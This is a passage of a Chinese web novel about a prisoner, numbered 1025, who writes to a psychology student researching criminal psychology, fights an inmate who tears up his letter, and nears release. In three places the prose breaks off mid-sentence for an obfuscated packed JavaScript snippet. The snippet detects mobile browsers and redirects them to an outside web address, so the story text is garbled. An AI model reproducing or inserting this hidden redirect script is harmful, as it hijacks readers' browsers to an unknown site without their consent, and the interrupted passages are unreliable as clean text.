秦龙拿过一块抹布擦手上沾染的机油,斜眼看猴子:“又天花乱坠吹嘘我?” “哥,这不叫吹嘘,这叫能力。”猴子毫不吝啬地夸,“你的能力绝对比外面的人强多了。” 阿华个子小小,他收好手头的活,走过来:“我赞同。” 老妖也过来,憨笑:“龙哥,出去后得靠你带我们了。” 秦龙点点头,什么也没说,低头看手掌,机油太厚腻,干擦不掉,得用皂粉洗。 于是将脏布裹了几下后扔一边,他手一挥:“吃饭去。” 去食堂的路上经过监舍楼外,刚巧碰上门口岗哨边站着的管□□,他认出秦龙,招手一喊:“1025,过来!” 秦龙双眸深黑,没表情的时候总浮着股阴森感,他盯着管教,不疾不徐过去:“警官,什么事?” “你的信。” 一封信给递过来,秦龙没料到,表情明显怔愣。 过了几秒,他看着信封表面的字迹,嘴角稍微一扯,自然浮笑。 管□□交给他后,多嘴侃了一句:“你还需要心理咨询啊?” 秦龙神色有一瞬僵硬,明白过后也不计较,但心里不痛快,没说谢谢转身就离开了。 猴子他们站在远处,见秦龙手上捏着信走回来,止不住的好奇心:“哥,谁寄的?是不是上次那妞给你回信了?” 老妖:“哎哎,别说妞了,人家有名有姓,叫做……叫什么来着?” 阿华记得:“叫白鹿。” “对,就叫白鹿。”老妖念着,“这名字还挺好听,跟龙哥挺配。” 秦龙不发一语,带头继续往前走,手心将信攥紧了,抬头望天空,有风吹过的痕迹,他的脚步变得轻快起来。 到了食堂门口附近,秦龙突然在台阶处止了脚步,吩咐老妖他们:“你们先去吃,我待会儿来。” 老妖不明:“哥,饭总得吃吧,你不吃饭待会儿没的了。” 猴子在前面退下来,拉扯老妖囚服领子,带上去说:“哥要看信,得一个人呆会,你别管了。” 三人牵扯着走进去,没再对秦龙多问。 秦龙站在阳光底下,正午的温度烘着衣服有些汗热,他巡视周围一圈,找了个角落没人的台阶,就地坐下来。 手头的信已经被拆封过了。 这是惯例,监狱内的犯人允许跟外面通信,但信中的内容得经由上面检查过,确认没有任何阻碍犯人改造的负面意义,才能被寄出或者收进。 秦龙将封口打开,拉出信纸,展开铺平,整套动作缓慢进行。 像是憋足了一口气,这个过程中他想象着里面会写些什么,毕竟他没想过会收到回信。 信纸带着一股清香扑鼻而来,秦龙凑上去吸了吸味,不至于熏鼻,是那种已经淡化的女人香水味,久散不去。 信纸上的黑字清晰柔美,飘逸隽秀。 首先映入眼帘的是他的编号。 他想,信封上也有写,她看明白了。 接着,他目光扫下去,一字不落看完。 * 猴子他们饭吃到一半,秦龙才拖着脚步走过来。 手上没了信,他给塞到了裤兜里。 秦龙在自己位置上坐下,餐盘里面打了满满当当的菜,外搁了几点辣椒丁,没多少油星沫子,不用多闻也知道,熟悉到令人厌吐的味道。 他去看其余人,差不多菜色,于是问:“今天没带肉?” 阿华从盘中抬头,口气愤道:“分菜那死胖子今天心情不好,跟一个犯人起冲突了,连累我们后面的人,捞菜的时候就是不给肉丝。” 秦龙明白了,这种事情不少有,一旦发生,大家没有反抗的份,只能给什么吃什么。但若刚才他在场,必定跟人较量来着,现在已经这样,也没心思再去。 江司监狱犯人好几千,每天的蔬菜口粮基本上是靠附近的江司农场输送,成本价低,吃了健康,但长年累月的,是人都不太吃得消。 于是才有了小灶的存在,不过天天吃也不现实,以前靠表现,现在靠票子。 大锅菜的伙食质量确实很差,食谱一周轮一次,从没有变花样过,进来半个月就能记熟,也没人敢提意见。好在能吃饱,吃完还能去添饭菜,不控量,不过以这儿烧菜师傅的厨艺,基本没人有口欲去恭维捧场。 据说以前是专门的大厨烧,起码有点口福保障,后来不知怎么的,一个个辞退了,于是只好蹲号的亲自上阵,胡乱洗胡乱切胡乱炒,勉强也算过得去了。 秦龙拿起筷子,发现手心还脏着,也顾不得花时间再去洗。 他夹了一筷子菜叶,叶片子半切半连,带起一大坨,如同捞水草,直接满嘴嚼起来,混着大口米饭一块下肚。 在这儿生活久了,原本再干净洁癖的人,都会被现实的环境所同化,变成一个个吃糙米生活的糙汉子。 猴子吃下一口,拿筷子杵着餐盘,幻想着叹气:“这样的天,要是在外面,我就来几瓶啤酒,大口大口的,撸上肉串,啧啧那滋味……” 这种场景大伙儿都向往,俗话说男人烟不离手酒不离口,烟倒是偶尔能满足,但酒不能进胃里烧起来,就如女人欲哭无泪,一切都发泄不了。 无处发泄,便会积郁成疾。 传说曾有一个狱友,不知从哪私藏来一瓶老白干,有一回喝多了酒味飘散,被管教发现后,不肯承认错误也不肯上交,结果被拖出去到一个房间狠狠打了数下。也不知道动了什么刑,回来醉意还没醒,脸上两行泪花,看得人揪心。 监狱禁酒,所以大家平时都不提这个字。 饭还在吃着,老妖突然哎呦一声,嘴里似是嚼不动,卡在那儿纠结着一张脸。 阿华问:“你咋啦?” 老妖用手包住嘴,一脸愠色。 猴子说:“是不是吃到什么不干净的了?” 老妖点点头。 秦龙:“吐出来。” 老妖缓了会儿,慢慢张嘴,手拿下反伸进去,食指头抠着上排里边牙齿,估摸着是什么吃进牙缝里了。 艰难了好一会,终于抠下来一看,是清洁用的钢丝球,一小节夹混在菜里。老妖没看清,这一口咬下去,再带出牙龈血,生疼得厉害。 大伙儿看着只是一叹,不足为奇,这大锅炒的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849970|175805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜,里面掉进什么都有,头发丝、瓷碗碎片、不明黑点、应季青虫……要是没能从中挑出点什么东西来,才让人觉得惊讶。 一顿饭干巴巴地吃完,秦龙手抹了下嘴,说了句:“晚上吃小灶。” 他的话就如指令,大伙儿一听乐开:“好嘞,待会儿换票子去。” 在狱中,一个人去吃往往费钱,且也吃不到多少,人多了大伙一桌平分,吃的种类也多,所以基本上都一块搭伙。 既然决定吃了,当然也吃得痛快,想吃什么点什么,否则心心念念到晚上睡不着,干什么都没劲。 有信念支撑着,好歹颓废的日子过得有冲劲,也没那么难捱。 猴子他们三人去换饭票,手头的钱流水一般花出去,还是有点心疼,毕竟是苦力赚出来的。 秦龙离了他们,独身一人去狱警办公室,找行政员申请要了纸和笔,走到隔壁专门提供写信的小房间,选一张课桌坐下,提笔写起来。 他对信中那些问题没有什么大纠结,就跟答题般,配合着依照顺序写下来,神情专注投入。 房间内只有他一人,空间格外安静,到快写完的时候,外头传过人声,有陌生脚步跨进来。 秦龙刚好将笔收了,信折叠好,回头一看,见是猫头他们。 猫头是八分监区最不合群的分子,经常惹是生非,许多不安分的事端都是他挑起来的。 秦龙不想搭理他,收好信纸打算去找信封贴邮票,很快就能寄出去。 但偏偏有人盯上了他,不打算让他顺利出门。 一群露着大脑瓜的人堵在门口。 “龙哥!怎么了,一见我就着急走?”猫头嘴里叼着根烟,没有点着,不算犯规。 秦龙看出他来意不善,眸色变深,盯视了几秒,冷冰冰道:“有事快说。” 猫头当初将人砍成重伤,至今关了六年,如今有了关系开始减刑,才被分到了八分监区,但依旧是个不法分子,人模狗样的。 猫头偏过头不说话,他身后的人就跟走狗一样,上前一摊手:“听说龙哥组里的人经常吃小灶,刚又在换票子,看来最近赚的不少,我们猫哥想要借点花花,咱们兄弟多,龙哥出手大方点啊。” 要钱要的理所当然,就跟抢劫似的。 秦龙冷嘲一声,双手插.进裤兜,将信妥帖放好,一瞬间的功夫,平息下来,声线平稳地吐出两字:“滚开!” 猫头皱起眉,表情渐不爽,昂着头:“你说什么呢?再说一遍。” 秦龙不惧他,就算他们堵着门口,但走廊边随时有警员经过,他们胆子再大,也没本事一直这么站着。 秦龙早也看他不爽,进了里面好吃懒做,什么都钻牛角尖偷溜,洗澡插队蛮横专.制,纪律积分已是最低,还敢出来当众惹事。 他只笑笑不说话,就这么跟他们对站着,过了好一会儿,他朝他们迈近一步,身子侧对站向猫头,俯下身凑到人耳边,轻笑一声:“钱不在我这边。” 猫头转过来,没看清他脸上意味不明的表情,顺着话问,“在哪里?” 秦龙咬牙,声音吹进对方耳朵里:“在你未来的牢床板下。” “……” 说完,他退后一步,站直身子,纹丝未动。 猫头骂出一声操,上前瞪眼指着秦龙:“你他妈有种再说一遍。” 秦龙声音反而变轻了,厌嫌地瞥他一眼:“你耳朵不好使啊,那么近听不清,该挂耳科了。” 猫头:“……” 8. 第八章 “我说——”秦龙慢悠悠地重复:“去你未来的牢床底下找。” 猫头这下站不住,情绪显然被激怒,他没再多说废话,嘴里叽里咕噜骂着什么,赤手挥拳就打上去。 秦龙反应比他快,侧身一闪躲过,见他接着还要来,反扼住手腕往他身后扭,连同另一只不安分的手相继锁住,两三下将人转了身背过去,双手在后面折成怪异的姿势。 猫头身材上比秦龙弱势不少,这下被迫半蹲着身,双臂没了活动空间,关键是手臂骨还有快被撕裂的痛感。 “松,松,松手……”猫头断断续续吸着声,“痛死了……” 秦龙居高临下望着他,“还找不找事了?” 猫头俯低着头,僵硬着身:“不找事了,不找了。” 门口那帮人看傻,想上前却都没挪脚。 秦龙将这个姿势维持了整整一分钟,断定他没力气折腾了,才松了手。 猫头没支撑住,瘫软在地。 秦龙懒得应付,拨开人群准备出去。 身后,猫头却临时变了卦,急速招呼同伙:“快点,给我搜身!” 话落,秦龙被人拦住,无数双手往他身上抵。 有人将他往房间里面推,有人把门板合上,以多围一仗势欺人。 秦龙退回中央,脸色不变,冷静地扫视这些人一圈,嗤笑:“中午都吃什么了?就这么点力气?想打架怎么着?” 猫头见不惯他这临危不惧的自信,要钱的气势变得更加嚣张,在有人保护之下,带头起哄:“别跟他废话,刚才裤兜里面藏了什么,别以为我不知道,都给我搜出来。” 脑瓜子们涨了胆轰上去,秦龙没给他们近身的机会,直接用手掌不耐烦地推搡开,但那些人又跟牛皮糖似的,推开了还过来,一时间慢慢缠扭在了一起。 这儿是公共场合,隔壁就是狱警办公室,况且房间角落都有监控探头,大伙儿在里面生活久了内心多有防备,所以没人敢先出手打人。 他们利用包围战术,在秦龙身上探索,有人直接将手伸进了他的裤兜,似乎捏到了类似纸张的东西,兴奋地往外拉扯。 秦龙知道那是什么,他身上一分钱没有,仅有的两封信,一封收到的,另一封待寄出。 而他们扯到的正是尚未寄出的那一封。 秦龙眼底骤寒,黑眸凌厉一剐,双手欲要去护信,奈何人多势众,没一会他们就将“钱”扯了出来。 “嘶”一声,没扯完,一半落到他们手里。 秦龙慢了一步,已经毁了,手里抓住剩余半张,拳头逐渐紧握,青筋隐现凸起。 带头的人奇怪地看眼手上的白纸黑字,这才发现拿错东西,也没还回去,直接揉成一团扔了,配合其余人打算继续去搜。 这次秦龙没再客气,拳上早已积攒了力气,先前扯信那人首当其冲,正脸挨了狠狠一击,掩着面找不着方向,连续痛呼出声。 “哎呦……” 其余人见他开打了,残存的理智镇定全无,闹哄哄地挥拳扬臂迎上去围攻,场面一度混乱失控,但有不少人同样挨了那一记铁拳。 秦龙以前在这方面下过功夫,只不过他并没使尽全力,只打算将他们击退,撵开拍屁股走人。 但他的实际行动进行到一半,房间门被人从外面撞开了,一干狱警管教喝着声走进来,嘴上吹着哨子,手中挥着铁棍,直指他们这些还纠缠着打的人。 “都给我住手!谁再动一下试试!还想不想出去了?!” 狱警们高声怒喝,那些抓在秦龙身上的人顿时停手,不约而同抱头下蹲。 秦龙笔直站在那,身上的囚服皱成一团,表情如人一样硬朗无畏。 过了几秒,也缓缓弯腰下蹲。 * 囚犯私下打架一事,瞬间在狱政科传得沸沸扬扬,监区长跟指导员也都过来了,听他们各方言辞解释。 办公室内,惹事的人成排在墙边按队列挺直站着,几名管教来回监督呵斥。 猫头那边死咬着说是秦龙欠钱不还又吃小灶,典型的恶人先告状,造完一通还甚至挑衅地瞥头看一眼秦龙。 而他那些同伙则语焉不详,一会说像是有那么回事,一会又都说对事不清楚,吞吞吐吐地急于撇清自保。 做笔录的管□□敲着笔问:“那你们在里面瞎激动打什么架?” 一秃脑瓢眼神精怪,手指着秦龙:“警官,是他先动的手,他就这样……”他在自己脸上做了个拳头的姿势,“这样狠狠打过来,我觉得我鼻子都要塌了,我要看医生。”说完还倒吸着声揉鼻。 秦龙背着手靠墙,昂首挺立,不动声色。 管□□朝猫头抬下巴:“你带的头?” 猫头逮着可以发声的机会就重复申明:“警官,不是说了吗,我是来讨钱的。他不给,我只能这样,没办法的事啊,这拿不出证据,面对无赖只能用无赖的方法。” 管□□并没一味相信他的话,字写到一半抬起头:“监控我们都看了,是你先动的手,为什么动手?” 猫头抖着腿,显然有些心虚,提嗓道:“他拿话激我!” 管□□看向秦龙:“你说什么了?” 秦龙一脸凛然:“他造谣,我从来没问他借过。” 管□□又转向猫头。 猫头脱口就辩解:“他耍赖!” 管□□:“有证据吗?” 猫头:“……” 管□□又问:“你手头开销多少?劳改报酬多少?借他多少?” 猫头愣住:“大概……” 他没说出个大概,管□□用手打住让他别再说了,拿起手上的记录本,跟后面的监区长和指导员商议了一阵,然后做出最终裁决。 “你没明确证据证明他向你借钱,他也没证据证明没向你借钱,这件事情相互抵消。关于打架,监控拍得清清楚楚,所有人都动手了,一律关禁闭半个月。每人扣除纪律分,这里除了1025外,另外人都归降到七分监区,如果要出来就看未来表现,你们几个以后都给我注意了。即刻服从!” 猫头一听“七分”二字就急了,眼珠子都快瞪出来:“这……警官,你没搞错吧,我怎么……怎么就到七分去了,凭什么他不用去啊?” 跟他混的几个也觉得冤枉,七嘴八舌地争论着,声音此起彼伏。 管□□被吵得不耐烦,警棍用力敲几下桌面,毫无解释:“都闭嘴,服从命令!” 猫头张着嘴,想说什么,终咽下去:“服从!” 其余人声势也弱了:“服从!” 秦龙站那没有多余表情,他望着铁窗外面,手里提着裤兜,脸色阴沉。 * 中午换个票子出来的功夫,猴子他们就咋舌了,办公室那边不让围观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849971|175805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就连秦龙的面都没见到,据说惩罚结果出来,惹事的几个人当时就被实行关禁闭了,分秒不误。 禁闭的环境是小黑屋,一天只有两小时放风,其余时间全在里面,属于囚禁中的囚禁,阴暗恐惧孤独终日围绕,无以复加。 傍晚收工,工厂门口、办公大楼、监舍楼底等公告处一致张贴了这次斗殴事件的经过,并给出处理结果,以示警告。 猴子手按在公告纸上,啐骂一句:“他妈的狗娘养的,早知道我也在场了。” 阿华一副忧心忡忡:“龙哥就是去写信,又没招惹他们,真是晦气。” 老妖摇头叹气,目前事已出结果,也没什么法子挽救。 对他们来说,半个月已经难熬,在黑屋里,愈加难以想象,据说还有人曾被逼疯过。 阿华又不禁好奇:“不过龙哥以前不动手,这次怎么就没沉住气了?” “这猫头鹰不是好鸟,龙哥之前就想治治他,这回却把自己搭进去了。”猴子泄气地说,“不过,这一群猫也是找死,积分本来就快扣没了,还敢乱来,也亏龙哥分多禁得住扣,不至于降监区。” 七分监区跟八分监区虽然都属第三监区,但是不归一个分监管理教育及改造。也就是说,将来至少几个月,八分监区都不会有猫头鹰那伙人的影子了。 “难道龙哥是故意跟他们动手,把他们往死里整?你看,结果给整到七分去了。”老妖自作猜测。 猴子不信:“你想多了,哥才懒得搭理他们。” * 另一边,白鹿在愁论文的时候,同时也在等1025的信。 她每天计算日子,耐着性子等了整整一星期,时常光顾门卫摆信处那里,就是没翻找到自己的名字。 她开始怀疑邮递员的话,也许她的信在半路上遗落了,又或者是那边在寄回的途中掉落了,各种不确定的可能性因素都被她猜了遍。 杳无音讯,好像对方就此人间蒸发了。 但白鹿想到他所处环境特殊,人物性情复杂,或许一个不愿意就不想继续,他可以不打招呼单方面结束,咨询链自然就断了,这种情况也是有可能的。 做心理,本就得有这样的打算,主动权是由对方发起,咨询师仅是服务于大众的一方。 白鹿不禁觉得可惜,可惜了这么一个犯罪心理素材。 后来又过一段日子,方老师接到一个任务,去看守所给拘留人员做心理课程,知道白鹿被人放鸽子,于是带上她一块去。 同样是面对犯罪的人,但白鹿脑子中始终想起那天在监狱,在门口看到的侧面,那一瞬太短,她有些记不清模样了。 即使她拥有那张模糊的半脸照,可她看人猜心思永远只看眼睛,一个人的眼睛是不会撒谎的,那里一定藏着很多故事。 他是个有故事的人,她确定。 那天她只对视了几秒,感觉尤为强烈,强烈到现在也说不清那种难以道明的感受,她有些后悔。 回去后,方老师见她整个过程心不在焉,建议她:“如果觉得不顺利,可以考虑换个方向研究。” 白鹿想了片刻,却坚定道:“不,我就想研究这个。” 或者,确切地说,她想研究那个男人。 也许信念使然,又过几天,白鹿突然收到回信。 那一天,离她之前寄出信的时间已经过去三个星期。 9. 第九章 白鹿已经打算放弃,她去一次失望一次,但这回她还没走到校门口,门卫大哥已经率先认出了她,拦下问着:“哎,白鹿是吧?你的信到了。” 白鹿以为他看错了,跟着走进去确认,结果到手的明确写着她的名字,跟上回的字迹一样,她一眼就认出了。 道了谢后,她走进校园小道,选了处僻静的树下,停下来看信。 拆信的过程中,白鹿希望里面能够解释清楚,对于这么迟才回信的原因。 这些天,说长不长,可一晃已是初冬,她连秋裤都穿上了。 同时她也等得望眼欲穿。 残黄的枯叶随风飘卷,落在白鹿肩上,她忘记拂开,打开信看起来。 开头还是跟上次一样的称呼。 —— 白小姐: 你好! 对于你是学生这一点,我没有任何疑问与偏见,或许我们可以当做朋友聊聊天,不用这么正式。 我不懂心理,你有问我必答。 我书念到高中毕业,大概大你一岁,家里只剩我妈。 我当时被判刑四年,这么说出来你可能被吓到,还也许会歧视我,没关系,犯下的错必须得正视,我犯的是强.奸罪。 那时年少不懂事,强迫了喜欢的女孩,后来一直懊悔,很想知道人家现在过得好不好。 不过我知道,她和她家人永远不会原谅我,因为从那以后我跟她都没再见过面,包括当初庭审案子,她也没有出现。 在这里我有个问题,换做你是她,这么多年过去,你会有什么看法。 关于你说的心理障碍,我不太了解,我现在最大的想法是,出去以后能够做点补偿,力所能及的。你能给我好点的建议吗? 另外,我们这儿心理方面的课程上过很多次,但上回见你们第一次来,看样子是要研究案例。如果有需要,你尽管找我,我会配合你。 谢谢你的倾听。 1025 —— 白鹿看完了,她放下信,身体靠在树干上。 她抬头望头顶茂密的树叶,脑中闪过很多想法,各种各样的,带着意外、好奇、惊叹……纷杂无序不可名状。 通篇看下来,她从字里行间感受出他的坦诚,至少她所提出的问题他都毫不避讳地回答了,而且条理清晰,情绪平缓。 但同时交代的一切又点到为止,他似乎做了适当的保留,没有多费笔墨说明具体细节。 从信中她看得出来,他应该是个话少的人,且活得通透,能悔悟过去,摸得清现状,也憧憬未来。 照理说,这是一桩好事,至少目前来看,白鹿给出的初次评估中,不觉得他有心理方面的问题,或许是监狱的心理工作做得相当好,犯人都能自我反思出成绩了。 但他在信中写得太顺通,总让她觉得哪儿不对劲,想了许久又说不上来,那种感觉使她想起当初跟他对视的眼神,两种感受搅浑在一起,让她出现茫然的错觉。 仿佛有一瞬间她不懂心理了,反而是他在领导着她拨开迷雾,探索他曾经的过去。 白鹿隐约觉得,他在将她往某一个方向带。 她想不明白,脑袋混混沌沌,暂时也不知怎么回信,于是收了起来,先不去考虑他的情况。 * 白鹿回到宿舍,打开电脑上网,她在网上一个心理咨询平台有挂名实习,平常会有各年龄阶段的人来求助各种问题,学习、婚姻、感情、职场等等各方面。 这些人中,有一部分仅仅是过客,咨询一次就没影了,还会扯各种不相关的事情骚扰一通,鲜少有个别是真诚求助,通过她的一番解释后,配合的会留下联络方式,方便以后的定期预约。 她处理完所有未读消息,关掉网页,摸着头脑,觉得灵活了些。 起身倒杯水喝,再次拿起手边那封信,打开来重看一遍。 这一次,稍有收获。 她的关注点在他所犯的罪上面,让她有些感到意外,以她直观的感受,宁愿相信他是个冷静的惯偷或劫犯,也不愿相信他是个强.奸犯。 在人潜意识的理解中,强.奸犯都是猥琐的,或许还带有病态,他们面对贪婪的欲望无法自控,才做出失去理智的行为,她没法将他跟那类人联系起来。 白鹿重读里面他的自述,他说的是强迫了喜欢的女孩,一个男人到现在还用喜欢这两个字,说明他这些年压根没有忘了那个女孩,反而有动机去再次接近。 他想做补偿,问她要建议,还问她的看法。 …… 白鹿突然间不想接这个棘手的摊子,不知道为什么,她总觉得他内心知道该怎么做,却又无端来问她,是想在咨询师这里寻找安慰与支持? 白鹿心底冷哼,先前她期盼他对于回信推迟的解释,她一个字都没有看到。 她不是赌气,只是单纯地对这个案例失去了兴趣,她有了一种撒手不管的想法,虽然知道不理智,但仅仅只是当前不想理会。 白鹿做了这个决定,说不管就不管,她将信扔进书柜里,那儿还躺着上次收到的,她短暂看了几秒,然后拿钥匙锁了起来。 时间过去一周。 白鹿每天都会打开柜子,入目就是那两封信,但她没有再拿起,她在犹豫的同时也在计算着日子。 时间又过一周。 白鹿还是每天都打开柜子,最后一天她不再坐视不管,他放了她半个多月的鸽子,她也同样放了半个月,考虑得已差不多,她打算开始写回信。 这天中午去了校外一趟,回来时候经过校门口,突然被门卫大哥拦下。 “哎哎,白鹿是你吧?怎么信放了这么多天不来领啊?” 曾经天天找上门,如今打个照面,对方就认出她来了。 白鹿没料到,一脸错愕:“有我的信?” 门卫大哥毫不废话,将信递过来:“拿走。” 白鹿接过,看上面的字迹,蓦地一怔。 是1025的字迹。 白鹿去看邮票处的投递时间,在一星期前,除去邮递路上花去的,两三天前就该到了。 这是什么情况,她反复翻看手中的信封,没那么迫不及待地拆开,猜想他以为自己没收到,重复发了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849972|175805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一封? 她摸着信封,里面是一张薄薄的纸。 白鹿一边想一边往前走,走到上次看信的老地方,一棵老槐树下,她停下脚步,背抵着树干开始拆信。 她打开就看起来,毫不停顿。 —— 白小姐: 你好! 我写给你的第二封信收到了吗?我问过别人,同城寄信速度虽然慢,但这些日子你应该收到了。 我猜你即将毕业,最近一定很忙,如果你分不了心,没空处理我的咨询,可以暂时不用管我。 写信确实是件麻烦的事,但是在里面不能用手机,也不能随时打电话,所以跟你沟通起来有些困难。 再过一个多月,我也快出去了,如果顺利的话,我会选择先找工作,安定下来之后我再联系你。 你安心忙你的事,勿回。 1025 —— 白鹿合上信纸,脑袋发空看着地面,一时不知道该怎么做。 差一点,就差一点,她马上就给他写回信了,却收到他的勿回。 这个男人有点敏感,白鹿想。 他一面似乎等得焦急的样子,一面又迅速写了一封表示理解,并且站在她的角度思考,还体贴她先处理自己的事。 她头一回遇上这样的咨询者,他究竟是着急咨询还是心中矛盾化,才半拖半就着暂停了这场沟通。 白鹿无奈笑笑,她还什么表示也没,这人倒是先将各方面都考虑好了,就像以为她会回绝似的。 应他的要求,白鹿没有回信。 她也毫不担心自己的论文,因为通过这封信,她相信这个人到时候一定还会联系她。 她会慢慢等着。 * 一个月后。 江司监狱。 行政楼活动室内,乌泱泱的一群男人们排队在理发。 才一个月过去,头发就如雨后春笋般疯长,剃发是在里面的义务,他们早已习惯一切。 秦龙从座椅上站起身,摸了摸刺手的发顶,来回揉了几下,几根细碎短发落下来,他甩了甩头往外走。 身后,下一个准备者轮上。 猴子他们在门外等,看见秦龙出来,忍不住问:“哥,为啥还理发啊,你都快出去了,管教都说不用了,这不是让外面的人看扁嘛。” 秦龙随意解释:“重新开始,做个纪念。” 阿华几个还得等段日子,看他刑满既高兴又不舍,“哥,在外面好好过日子啊。” 老妖眼底有泪,忍了回去说:“哥,我们出去就找你去。” 秦龙笑笑,拍他们的肩,说:“下次你们出去,我来接。” 话没说多少,他快步走过走廊,到外面放风区,熟悉的环境,他在这里待了一千多天的日子。 停下来抬起头,他眺望上方天空,与往常的蓝色殊无二致,但他却看出了一丝净透的蔚蓝,仿佛冲破天际,绵延到无边的远方。 他仰着脖子,换了个角度跟随望去,视线所不及之处,他的心早已经飞远。 下一刻,他想得到救赎。 10. 第十章 元旦过去。 学校的事情暂告一段落,同学们开始找实习工作。 白鹿做了份简历投网上,有一家心理咨询服务中心给了回音,她约好时间去面试,对方通知她随时可以去公司实习。 白鹿上网查过这家咨询中心,评价还算靠谱,有过不少咨询成功的社会案例。 公司地点不在写字楼,而是隐匿在闹市区巷子内的一家门店。 地盘很开阔,周边环境优美僻静,背靠人工湖公园。 白鹿如期去实习,每天会见不同困扰的来访者,看惯形形色.色。 对她来说还算悠闲,除了端茶倒水整理,就是旁听咨询过程,或者跟前辈交流咨询心得,给出合适的沟通流程方案。 咨询中心工作的大多是女人,有跟她同龄实习的,也有经验十足的妇女们。 一堆女人围在一块,闲下来聊的就是各种八卦源头。 没过几天,她们就八卦到白鹿的头上。 “小白,看你感情方面很单纯,没有谈过男朋友吧?” 白鹿捧着水杯喝水,她低头看手机,淡淡点头:“嗯,没有啊。” “那怎么不找一个,是不是要求很高啊?男朋友嘛,找个靠谱的最重要。” 白鹿很不想搭理这种问题,她知道一旦接话,就会轮到各式各样的,让她们误以为自己是愿意参与讨论的。 白鹿垂眸看新闻,没心思加入,敷衍叹:“是啊。” 果然还是有人问:“你有什么要求,看我能不能找个好点条件的介绍给你。” 白鹿外形条件不错,五官靓丽,身材窈窕,全身线条比例优美,前后凹凸有型,不是属于纤瘦无比的体质。 大学里,对她有好感想接近的男生不少,但真正追的却没几个,在这没几个中又没有她看得上的,所以谈恋爱这种事渐渐跟她无缘。 白鹿不会具体回答喜欢什么样的,她知道这种事不好说,但她相信眼缘,有眼缘的人她印象会很深刻。 她曾经做过一个测试,结果证明她是一个很容易一见钟情的人。 这个结果被她极力认同,因为在她所接触过的男性中,但凡第二面见到,还是没有心动的感觉,她就清楚双方之间是没戏的。 “没什么要求,我的眼睛会告诉我。”她简单说完,走开做别的事去了。 中午之前,白鹿正在看一个案例对谈,手边电话响起,她看到来电名字微怔,很快神色如常接起来。 “白鹿。”对方声音清朗。 白鹿也回:“乔律师。” 那边笑了一声:“说了很多遍了,你喊我名字就好了,这么叫我挺生疏的。” 白鹿也笑,不过她并没再说。 合上案例本,她起身快步走到隔壁的会客室,关上门,空间瞬间安静下来。 乔明杰平时只发消息,不常打电话,这让她不免好奇,他有什么重要的事情要说。 接着,他很平常地问:“你在上班?” 白鹿纠正:“是实习。” “噢,实习,在哪里呢?”他那边有车流涌动的声音,似乎正在拥堵的交通路口,“我现在在路上,过去找你,中午一起吃个饭吧。” 白鹿顿了顿,问他:“有什么事要说吗?” “没什么事,就是单纯请你吃饭,咱们好久没见了吧,吃个饭聊聊天。” 白鹿犹豫了一阵,看向墙上的挂钟,说:“好。” 挂上电话,她将自己的地理位置发了过去,没过多久,乔律师就到了。 乔明杰的车停在巷子口开不进来,白鹿早早准备好出去迎接,正好见到他要开门下车,远远招手挥了挥:“乔律师!” 乔明杰比她大两岁,但模样看去已然是一个律政精英,穿着西装打领带,手提黑色公文包,鼻梁上架着一副黑框眼镜。 从白鹿的外表感受看去,他属于长得比较儒雅的一类,但通过平常的一些眼神交流,她又能探出他某种处事干练的行派。 这样的人,往往很看重工作结果。 半年交往下来,白鹿给她做的总体评估是,他这人心思变幻莫测,给人一种忽远忽近、时而热情时而淡漠的感受,仿佛在他脑中有一种矛盾化思想,在不断地冲击着他。 白鹿没有具体细问,她不会对熟人做心理思想工作,面对这样的情况,她更善于在角落慢慢观察,而不是劈头盖脸地上去质问。只不过,现在她连观察的兴趣也没了。 乔明杰给她开车门,又再次提醒她:“说了喊我名字就好了。” 白鹿淡笑说:“我习惯了。” 吃饭的地方是乔明杰预先定的,白鹿没有任何异议。 她跟着他走近一家西餐厅,两人点了相似的牛排套餐。 服务员一走,桌上陷入沉静。 乔明杰坐对面打量白鹿,说了句:“你好像瘦了。” 白鹿摸摸脸,“是吗?哪里瘦了?” 乔明杰只是随口一说,具体也答不上来,只得愣愣地一笑,换句话说:“你得多吃点。” 他拿起桌上的柠檬水壶,往她杯子里添了点,问道:“实习感觉怎样?还顺利吗?” 白鹿握着水杯,轻轻一晃,里面映出窗外天空的白。 “一般般,还可以吧。”她抿了一口喝着,反问,“你呢?上次说的那个盗窃案,进行得怎么样了?” “今天上午一审,这不刚结束,我才有空喘口气。” “那结果呢?” 乔明杰:“判了一年八个月,我的当事人放弃上诉,就这么结案了。” 白鹿点点头,忽然想到什么,她语气寻常地问:“你接手过强.奸案吗?” “强.奸案?”乔明杰很明显地诧异,他很快掩饰过去,声色如常:“你说强.奸案啊……” 白鹿将杯子缓缓放下,双眸静静观察着他。 她刚才说得很清楚,不需要再重复。 